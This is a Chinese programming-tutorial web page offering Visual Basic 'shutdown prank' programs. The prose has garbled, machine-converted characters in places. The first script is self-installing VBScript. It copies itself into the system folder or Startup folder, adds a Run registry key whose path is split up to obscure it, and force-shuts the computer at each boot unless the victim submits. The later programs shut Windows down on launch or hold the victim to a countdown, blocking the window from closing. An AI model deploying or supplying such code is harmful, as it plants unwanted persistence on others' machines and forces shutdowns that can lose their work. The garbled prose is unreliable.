程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> Visual Basic語言 >> VB綜合教程 >> VB關機惡弄小法式

VB關機惡弄小法式

編輯:VB綜合教程

VB關機惡弄小法式。本站提示廣大學習愛好者:(VB關機惡弄小法式)文章只能為提供參考,不一定能成為您想要的結果。以下是VB關機惡弄小法式正文


VB關機惡弄小法式一:

Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject") 
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName) 
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else 
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs") 
 else
c.Copy(dirwin&"\wxb.vbs") 
end if 
 
end if 
 
sub Show_And_Do(s)
dim f
r = MsgBox ("正告:請不要隨意動我的電腦! " & Chr(13) & Chr(10) & "肯定->下次必定會先收羅贊成的" & Chr(10) & "撤消->愛咋滴咋地,我才不論他嘞!", 4145, "MsgBox Example")
If r = 1 Then 
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if 
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

下面的有點龐雜,那就來個略微簡略的

代碼以下:

Option Explicit
Const SM_CLEANBOOT = 67
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As Long

Private Sub Form_Load()
  Call ExitWindowsEx(EWX_SHUTDOWN, 0)
End Sub

當你可以采取一個加倍簡略的寫法
直接輸出以下代碼便可:

Private Sub Form_Load()
Shell "cmd /c shutdown -s -t 30"
Rem 前面的 -t 0 表現0秒關機,假如去失落 -t 0 那末默許是30秒關機
End Sub

辦法三:

Private Sub Command1_Click()
If Text1 = "我是豬" Then
Shell "cmd.exe /c shutdown -a"
MsgBox "哈哈放過你吧!", 64, "提醒"
End
End If
End Sub
Private Sub Form_Load()
MsgBox "哈哈你中招了、快說你是豬,不然1分鐘就讓你電腦關機", 48, "提醒"
Shell "cmd.exe /c shutdown -s -t " & 60, vbHide
End Sub
Private Sub Form_Unload(Cancel As Integer)
g = MsgBox("想關失落我???", vbOKCancel + vbQuestion, "封閉窗口")
If g = vbOK Then
Cancel = 11
MsgBox "哈哈你關不失落我的快說我是豬吧", 64, "提醒"
End If
If g = 2 Then
Cancel = 11
End If
End Sub

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved